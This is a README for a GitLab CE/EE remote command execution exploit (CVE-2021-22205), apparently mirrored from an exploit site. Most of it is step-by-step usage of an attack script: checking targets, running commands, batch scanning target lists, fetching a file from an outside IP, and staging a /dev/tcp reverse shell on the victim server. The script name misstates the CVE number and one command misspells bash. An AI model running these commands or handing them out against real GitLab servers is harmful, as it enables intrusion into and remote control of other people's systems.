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## https://sploitus.com/exploit?id=F13B1CEC-8713-5A1E-8117-F6BED15AEA04
### Vuln Impact
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
### Vuln Product
- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8
### Environment
```C
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.9.1-ce.0
```
### Vunl Check
##### Basic usage
```c
python3 CVE-2021-2205.py
```
![img](img/usage.png)
##### Vuln check
```c
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
```
![img](img/check.png)
##### command execute
```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
```
![attack](img/attack.png)
```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"
```
![attack_command1](img/attack_command1.png)
![attack_command2](img/attack_command2.png)
##### batch scan
```
python3 CVE-2021-2205.py -s true -f target.txt
```
![scan_result](img/scan_result.png)
##### Reserve Shell
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
```
![reverse_shell1](img/reverse_shell1.png)
![reverse_shell2](img/reverse_shell2.png)
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
```
![reverse_shell3](img/reverse_shell3.png)
![reverse_shell4](img/reverse_shell4.png)
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
```
![reverse_shell5](img/reverse_shell5.png)
### Reference
https://github.com/mr-r3bot/Gitlab-CVE-2021-22205
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html